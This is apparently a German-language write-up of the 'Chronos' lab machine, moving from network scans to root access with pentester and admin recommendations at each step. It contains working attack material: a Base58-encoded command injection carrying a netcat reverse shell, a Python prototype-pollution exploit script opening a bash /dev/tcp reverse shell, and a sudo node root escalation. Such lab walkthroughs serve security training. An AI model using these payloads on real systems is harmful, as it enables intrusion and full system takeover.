192.168.2.115 08:00:27:f9:47:f4 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan im lokalen Netzwerk identifiziert die IP-Adresse `192.168.2.115` und die zugehörige MAC-Adresse `08:00:27:f9:47:f4`, die auf eine VirtualBox-VM hinweist.
Bewertung: Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert.
Empfehlung (Pentester): Führen Sie einen detaillierten Portscan mit Nmap auf die Ziel-IP `192.168.2.115` durch. Tragen Sie die IP optional mit einem Hostnamen (z.B. `chronos.local`, basierend auf späteren Logs) in die `/etc/hosts`-Datei ein.
Empfehlung (Admin): Netzwerksegmentierung und die Erkennung von ARP-Scans können die initiale Aufklärung erschweren.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 01:37 CEST Nmap scan report for chronos (192.168.2.115) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e4f283a438898d86a5e13176eb9d5fea (RSA) | 256 415a21c458f22be48a2f3173cefd37ad (ECDSA) |_ 256 9b3428c2b9334b37d501306f87c46b23 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.29 (Ubuntu) 8000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-open-proxy: Proxy might be redirecting requests |_http-cors: HEAD GET POST PUT DELETE PATCH MAC Address: 08:00:27:F9:47:F4 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms chronos (192.168.2.115) Nmap done: 1 IP address (1 host up) scanned in 18.34 seconds
Analyse: Ein umfassender Nmap-Scan identifiziert drei offene TCP-Ports: * Port 22: SSH (OpenSSH 7.6p1 auf Ubuntu). * Port 80: HTTP (Apache 2.4.29 auf Ubuntu). * Port 8000: HTTP (Node.js Express Framework).
Bewertung: Drei potenzielle Angriffsflächen wurden gefunden. Der Node.js-Dienst auf Port 8000 ist besonders interessant, da benutzerdefinierte Webanwendungen oft Schwachstellen aufweisen. Die SSH- und Apache-Versionen sollten auf bekannte Exploits überprüft werden (OpenSSH 7.6p1 ist relativ alt, aber nicht trivial ausnutzbar ohne weitere Infos).
Empfehlung (Pentester): Untersuchen Sie beide Webserver (Port 80 und 8000) detailliert mit Tools wie Gobuster, Nikto und manueller Analyse. Prüfen Sie die SSH-Konfiguration (Authentifizierungsmethoden).
Empfehlung (Admin): Halten Sie alle Dienste (SSH, Apache, Node.js-Anwendungen und deren Abhängigkeiten) aktuell. Konfigurieren Sie Firewalls, um nur notwendige Ports freizugeben.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [+] Url: http://192.168.2.115 [...] =============================================================== 2022/10/30 01:40:01 Starting gobuster =============================================================== /index.html (Status: 200) [Size: 1887] /css (Status: 301) [Size: 312] [--> http://192.168.2.115/css/] [...] =============================================================== 2022/10/30 01:42:15 Finished ===============================================================
Analyse: Ein Gobuster-Scan wird auf den Apache-Server (Port 80) durchgeführt, um nach versteckten Dateien und Verzeichnissen zu suchen. Es werden nur die `index.html` und das `/css`-Verzeichnis gefunden.
Bewertung: Der Webserver auf Port 80 scheint sehr begrenzt zu sein und bietet wenig Angriffsfläche.
Empfehlung (Pentester): Konzentrieren Sie die Enumeration auf den Node.js-Dienst auf Port 8000.
Empfehlung (Admin): Entfernen Sie unnötige Dateien vom Webserver.
Untersuchung des Node.js-Dienstes (Port 8000):
http://chronos.local:8000/date?format=whoami
Permission Denied
Analyse: Ein erster Test des `/date`-Endpunkts auf Port 8000 mit dem Parameter `format=whoami` (Verwendung von `chronos.local`, was einen vorherigen `/etc/hosts`-Eintrag impliziert). Die Anwendung gibt "Permission Denied" zurück.
Bewertung: Dies deutet darauf hin, dass der `format`-Parameter existiert, aber die direkte Ausführung von Befehlen wie `whoami` entweder verhindert wird oder eine bestimmte Syntax erfordert.
Empfehlung (Pentester): Untersuchen Sie die erwartete Syntax für den `format`-Parameter. Probieren Sie Format-String-Payloads oder andere Injektionstechniken.
Empfehlung (Admin): Validieren und sanitisieren Sie alle Benutzereingaben streng, insbesondere wenn sie zur Steuerung von Formatierungen oder Befehlsausführungen verwendet werden.
GET http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
CyberChef (Base58 Decode): '+Today is %A, %B %d, %Y %H:%M:%S.'
Analyse: Ein weiterer Request verwendet einen Base58-kodierten Payload im `format`-Parameter. Die Dekodierung mit CyberChef ergibt den String `'+Today is %A, %B %d, %Y %H:%M:%S.'`. Dies sieht wie ein Formatstring für ein Datums-Tool (wie `date` oder eine Bibliothek wie `moment.js`) aus. Das führende `'+'` ist hier der entscheidende Hinweis.
Bewertung: Es scheint, dass die Anwendung Base58-kodierte Formatstrings erwartet und das `'+'` am Anfang möglicherweise eine Command Injection in einer Funktion ermöglicht, die Datumsformatstrings verarbeitet (ähnlich wie bei der `date`-Funktion in Linux, wo `date '+%H; id'` funktioniert).
Empfehlung (Pentester): Konstruieren Sie Payloads für Command Injection, beginnend mit `'+;`, gefolgt vom gewünschten Befehl (z.B. `id`, Reverse Shell), und kodieren Sie den gesamten String (inkl. `'+;` und Befehl) in Base58. Senden Sie diesen kodierten Payload im `format`-Parameter an den `/date`-Endpunkt.
Empfehlung (Admin): Überprüfen Sie den Code, der den `format`-Parameter verarbeitet. Verwenden Sie niemals Benutzereingaben direkt in Funktionen, die Befehle ausführen oder Formatstrings interpretieren können (`exec`, `eval`, `system`, `date`, etc.). Verwenden Sie sichere APIs und validieren Sie die Eingaben streng gegen eine Whitelist erlaubter Zeichen/Formate.
Analyse von Netzwerk-Requests (Firefox/Burp Suite):
// Firefox Network Request (OPTIONS) await fetch("http://chronos.local:8000/date?format=...", { "method": "OPTIONS", ... }); // Burp Suite Request (GET) GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1 Host: chronos.local:8000 [...] X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 [...]
Analyse: Die Mitschnitte zeigen einen `OPTIONS`-Request (vermutlich ein CORS Preflight Request vom Browser) und einen `GET`-Request. Auffällig im `GET`-Request sind die vielen `X-...`-Header, die alle auf `127.0.0.1` gesetzt sind. Dies könnte darauf hindeuten, dass die Anwendung hinter einem Proxy läuft oder dass bestimmte Funktionen nur für lokale Anfragen gedacht sind, aber diese Header vom Client gesetzt werden.
Bewertung: Die `X-...`-Header könnten für Header-Spoofing-Angriffe relevant sein, falls die Anwendung diesen Headern vertraut, um die Herkunft der Anfrage zu bestimmen. Sie scheinen hier aber nicht direkt für den Exploit relevant zu sein.
Empfehlung (Pentester): Behalten Sie die Header im Hinterkopf, falls andere Angriffe fehlschlagen. Konzentrieren Sie sich auf die Ausnutzung des `format`-Parameters.
Empfehlung (Admin): Konfigurieren Sie Proxies so, dass sie vertrauenswürdige Header setzen und vom Client gesetzte `X-...`-Header überschreiben oder ignorieren. Validieren Sie die Herkunft von Anfragen serverseitig, wenn nötig.
Ziel: Demonstration der Ausnutzung der Schwachstelle im `/date`-Endpunkt auf Port 8000 zur Erlangung einer Reverse Shell als `www-data` durch Einschleusen eines Befehls über den Base58-kodierten `format`-Parameter.
Voraussetzungen: * Netzwerkzugriff auf Port 8000 des Ziels (`192.168.2.115`). * Eintrag `192.168.2.115 chronos.local` in `/etc/hosts`. * Fähigkeit, Base58 zu kodieren (z.B. mit CyberChef). * Ein Angreifer-System (IP `192.168.2.153` laut Payload) mit Netcat-Listener. * Tools: `curl` oder Burp Suite, `nc`, CyberChef.
Risiko: Kritisch. Diese Schwachstelle erlaubt die Ausführung beliebiger Betriebssystembefehle im Kontext des Benutzers, der den Node.js-Dienst ausführt (`www-data`), was zur vollständigen Kompromittierung führen kann.
Schritt 1: Payload vorbereiten
Der auszuführende Befehl für eine Reverse Shell (z.B. zu `192.168.2.153:4444`) wird konstruiert und dem verwundbaren Formatstring vorangestellt:
'+; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.2.153 4444 > /tmp/f'
Dieser gesamte String wird dann Base58-kodiert. Der resultierende Payload ist:
2FKaCgCDhrKDtPk3bLhEKFzdkb681KiAmhhBzVoyVfzgkyBLM3dA97yHrZXeEwYs1K8fb8ssVzmwxHaedKHj2mw2LYQ2kdFujaLSrdwbsFL7ky
Schritt 2: Listener starten
listening on [any] 4444 ...
Analyse: Auf dem Angreifer-System (IP `192.168.2.153`) wird der Netcat-Listener auf Port 4444 gestartet.
Schritt 3: Exploit senden (via Burp Suite)
GET /date?format=2FKaCgCDhrKDtPk3bLhEKFzdkb681KiAmhhBzVoyVfzgkyBLM3dA97yHrZXeEwYs1K8fb8ssVzmwxHaedKHj2mw2LYQ2kdFujaLSrdwbsFL7ky HTTP/1.1
Host: chronos.local:8000
User-Agent: Chronos
Accept: /
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: http://192.168.2.115:8000
Connection: close
If-None-Match: W/"2c-MfmgHCipHeWUG6vYX17MoG9v+uA"
Referer: http://192.168.2.115:8000/
Pragma: no-cache
Cache-Control: no-cache
Analyse: Der präparierte GET-Request mit dem Base58-kodierten Reverse-Shell-Payload im `format`-Parameter wird an den `/date`-Endpunkt des Node.js-Servers gesendet.
Schritt 4: Server-Antwort (Irreführend)
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin:
Content-Type: text/html; charset=utf-8
Content-Length: 20
ETag: W/"14-jYhsC6bytoPaul8ZVooxYibOPkw"
Date: Sun, 30 Oct 2022 00:25:18 GMT
Connection: close
Something went wrong
Analyse: Der Server antwortet mit HTTP 200 OK, aber der Body enthält "Something went wrong". Dies deutet darauf hin, dass die Datumsformatierung selbst aufgrund des eingeschleusten Befehls fehlgeschlagen ist, der Befehl aber dennoch ausgeführt wurde.
Schritt 5: Shell empfangen
listening on [any] 4444 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.115] 37816 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ergebnis: Unabhängig von der Fehlermeldung im HTTP-Response empfängt der Netcat-Listener die Verbindung und stellt eine Shell als `www-data` bereit.
Bewertung: Der POC war erfolgreich und demonstriert die RCE-Schwachstelle durch Command Injection im `format`-Parameter.
Empfehlung (Admin): Beheben Sie die Command-Injection-Schwachstelle im `/date`-Endpunkt dringend. Implementieren Sie sichere Programmierpraktiken, Input-Validierung und vermeiden Sie die Ausführung von Betriebssystembefehlen basierend auf Benutzereingaben.
Shell-Stabilisierung (wie zuvor):
www-data@chronos:/opt/chronos$
[Keine Ausgabe]
zsh: suspended nc -lvnp 4444
[1] + continued nc -lvnp 4444
reset
www-data@chronos:/opt/chronos$
Analyse: Die erhaltene Shell wird stabilisiert.
Bewertung: Notwendiger Schritt für eine komfortable weitere Interaktion.
Kontext: Als Benutzer `www-data` wird das System weiter untersucht, um Wege zur Privilegienerweiterung zu finden.
imera
Analyse: Identifiziert den Benutzer `imera`.
DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENAME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS" [...]
4.15.0-151-generic
Linux chronos 4.15.0-151-generic #157-Ubuntu [...]
Analyse: Systeminformationen werden gesammelt: Ubuntu 18.04.1 LTS, Kernel 4.15.0-151.
Bewertung: Nützlich für die Suche nach spezifischen Kernel- oder OS-Exploits.
Empfehlung (Pentester): Suchen Sie nach bekannten Exploits für Ubuntu 18.04 und Kernel 4.15.0.
Empfehlung (Admin): System aktuell halten.
[...]
-rw-r--r-- 1 imera imera 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 imera imera 3771 Apr 4 2018 .bashrc
[...]
-rw-r--r-- 1 imera imera 807 Apr 4 2018 .profile
-rw-r--r-- 1 imera imera 0 Jul 29 2021 .sudo_as_admin_successful
-rw------- 1 imera imera 37 Aug 3 2021 user.txt
Analyse: Inhalt des Home-Verzeichnisses von `imera`. Die Datei `user.txt` ist vorhanden, aber nicht lesbar. Die leere Datei `.sudo_as_admin_successful` ist ein Artefakt, das oft nach erfolgreicher `sudo`-Ausführung angelegt wird.
Bewertung: Bestätigt den Ort der User-Flag.
cat: user.txt: Permission denied
[Keine Ausgabe]
[sudo] password for www-data:
Analyse: Bestätigt fehlende Leserechte für `user.txt` und fehlende `sudo`-Rechte für `www-data`.
Entdeckung von Chronos v2:
drwxr-xr-x 3 root root 4096 Aug 3 2021 .
drwxr-xr-x 4 root root 4096 Aug 3 2021 ..
drwxr-xr-x 71 root root 4096 Aug 3 2021 node_modules
-rw-r--r-- 1 root root 296 Jul 29 2021 package.json
-rw-r--r-- 1 root root 43066 Aug 3 2021 package-lock.json
-rw-r--r-- 1 root root 505 Aug 3 2021 server.js
Analyse: Ein Verzeichnis `/opt/chronos-v2` wird entdeckt, das eine weitere Node.js-Anwendung (`server.js`, `package.json`) enthält.
const express = require('express'); const fileupload = require("express-fileupload"); const http = require('http') const app = express(); app.use(fileupload({ parseNested: true })); app.set('view engine', 'ejs'); app.set('views', "/opt/chronos-v2/frontend/pages"); app.get('/', (req, res) => { res.render('index') }); const server = http.Server(app); // ... const addr = "127.0.0.1" const port = 8080; // ... server.listen(port, addr, () => { console.log('Server listening on ' + addr + ' port ' + port); });
Analyse: Der Quellcode von `server.js` zeigt eine Express-Anwendung, die: * `express-fileupload` mit der Option `parseNested: true` verwendet. * Die Template-Engine EJS benutzt. * Nur auf `127.0.0.1:8080` (localhost) lauscht.
Bewertung: Dies ist ein kritischer Fund! Die Kombination aus `express-fileupload` (insbesondere mit älteren Versionen oder `parseNested: true`) und EJS ist bekannt für eine Prototyp-Pollution-Schwachstelle, die zu Remote Code Execution (RCE) führen kann. Da der Dienst nur lokal lauscht, muss ein Port Forwarding eingerichtet werden.
Empfehlung (Pentester): Verwenden Sie `socat` oder ein ähnliches Tool, um Port 8080 von localhost auf einen Port weiterzuleiten, den Sie von Ihrer `www-data`-Shell erreichen können (z.B. 5555). Suchen Sie nach einem Exploit für die EJS/express-fileupload-Schwachstelle und wenden Sie ihn auf den weitergeleiteten Port an.
Empfehlung (Admin): Aktualisieren Sie `express-fileupload` und andere Node.js-Abhängigkeiten. Vermeiden Sie die Option `parseNested: true`, wenn nicht unbedingt nötig. Stellen Sie sicher, dass Template-Engines sicher konfiguriert sind und keine unsicheren Funktionen preisgeben.
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN 824/node
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Analyse: `netstat` bestätigt, dass Port 8080 nur auf `127.0.0.1` lauscht.
Port Forwarding einrichten:
[socat lauscht im Hintergrund/Vordergrund]
Analyse: `socat` wird gestartet, um eingehende TCP-Verbindungen auf Port 5555 (auf allen Interfaces des Zielsystems, erreichbar für `www-data`) an `127.0.0.1:8080` weiterzuleiten. `fork` erlaubt die Bearbeitung mehrerer Verbindungen.
Bewertung: Macht die anfällige Chronos-v2-Anwendung für den Exploit von außen (über Port 5555) erreichbar.
Empfehlung (Pentester): Führen Sie den Exploit nun gegen `http://192.168.2.115:5555` aus.
Empfehlung (Admin): Beschränken Sie die Möglichkeit für niedrig privilegierte Benutzer, Port-Forwarding-Tools wie `socat` auszuführen oder Sockets zu öffnen.
Exploit vorbereiten und ausführen (auf Angreifer-System):
[...] 2022-10-30 02:46:20 (69,2 MB/s) - »EJS-RCE-attack.py« gespeichert [685/685]
# Run this .py to perform EJS-RCE attack [...] # commands to run on victim machine cmd = 'bash -c "bash -i &> /dev/tcp/192.168.2.153/9003 0>&1"' print("Starting Attack...") # pollute requests.post('http://192.168.2.115:5555', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) # execute command requests.get('http://192.168.2.115:5555') print("Finished!")
Analyse: Ein Python-Exploit-Skript für die EJS/express-fileupload-Schwachstelle wird heruntergeladen. Es ist so konfiguriert, dass es eine Reverse Shell zum Angreifer (`192.168.2.153`) auf Port `9003` sendet und das Ziel über den weitergeleiteten Port `5555` anspricht.
[...]
PORT STATE SERVICE VERSION
5555/tcp open http Node.js (Express middleware)
Chronos - Version 2 Coming Soon...
Analyse: Nmap und curl bestätigen, dass der weitergeleitete Port 5555 erreichbar ist und die Chronos-v2-Anwendung ("Coming Soon...") dahinter läuft.
Zweite Reverse Shell empfangen:
listening on [any] 9003 ...
Starting Attack... Finished!
listening on [any] 9003 ... connect to [192.168.2.153] from (UNKNOWN) [192.168.2.115] 48340 bash: cannot set terminal process group (829): Inappropriate ioctl for device bash: no job control in this shell imera@chronos:/opt/chronos-v2/backend$ id uid=1000(imera) gid=1000(imera) groups=1000(imera)
Analyse: Der Listener auf Port 9003 wird gestartet, dann wird das Python-Exploit-Skript ausgeführt. Der Exploit sendet die Payloads an Port 5555. Kurz darauf empfängt der Listener die Verbindung und stellt eine Shell bereit.
Bewertung: Erfolg! Die Prototyp-Pollution-Schwachstelle in der Chronos-v2-Anwendung wurde erfolgreich ausgenutzt. Da diese Anwendung wahrscheinlich als Benutzer `imera` lief, wurde eine Shell als `imera` erlangt. Dies ist ein wichtiger Schritt zur Privilegienerweiterung.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Lesen Sie die User-Flag als `imera`. Überprüfen Sie die `sudo`-Berechtigungen für `imera` (`sudo -l`).
Empfehlung (Admin): Aktualisieren Sie Node.js-Abhängigkeiten (insbesondere `express-fileupload`). Überprüfen Sie Anwendungen auf Prototyp-Pollution-Schwachstellen. Führen Sie Dienste mit den geringstmöglichen Rechten aus.
Enumeration als imera:
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
Analyse: Die User-Flag wird ausgelesen.
Bewertung: User-Flag erfolgreich erfasst.
Ziel: Demonstration der Ausnutzung der `sudo`-Berechtigung für den `node`-Befehl durch den Benutzer `imera`, um eine Root-Shell zu erlangen.
Voraussetzungen: * Shell-Zugriff als Benutzer `imera`. * `sudo`-Berechtigung für `imera`, um `/usr/local/bin/node` ohne Passwort auszuführen (`NOPASSWD: /usr/local/bin/node`).
Risiko: Kritisch. Diese Fehlkonfiguration erlaubt einem Benutzer mit spezifischen `sudo`-Rechten (hier für `node`) die vollständige Übernahme des Systems mit Root-Rechten.
Schritt 1: Überprüfung der sudo-Rechte
Matching Defaults entries for imera on chronos: env_reset, mail_badpass, secure_path=... User imera may run the following commands on chronos: (ALL) NOPASSWD: /usr/local/bin/npm (ALL) NOPASSWD: /usr/local/bin/node
Analyse: `sudo -l` bestätigt, dass `imera` sowohl `npm` als auch `node` ohne Passwort als jeder Benutzer (einschließlich `root`) ausführen darf.
Bewertung: Dies ist eine klare und leicht auszunutzende Fehlkonfiguration für die Privilegienerweiterung.
Schritt 2: Ausnutzung von `sudo node`
# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Der `node`-Befehl wird mit `sudo -u root` ausgeführt. Die Option `-e` führt den übergebenen JavaScript-Code aus: * `require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})`: Startet einen neuen `/bin/sh`-Prozess und verbindet dessen Standard-Input (0), -Output (1) und -Error (2) mit dem des Node.js-Prozesses, wodurch eine interaktive Shell bereitgestellt wird.
Bewertung: Erfolg! Eine Root-Shell wurde direkt über die `sudo`-Regel erlangt.
Empfehlung (Admin): Entfernen oder beschränken Sie die `sudo`-Regel für `node` und `npm` für den Benutzer `imera`. Gewähren Sie `sudo`-Rechte nur für spezifische, absolut notwendige Befehle und vermeiden Sie Programme, die Shell-Escapes ermöglichen (siehe GTFOBins).
Schritt 3: Root-Flag lesen
root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
Analyse: Aus der Root-Shell wird die Root-Flag gelesen.
Bewertung: Ziel erreicht.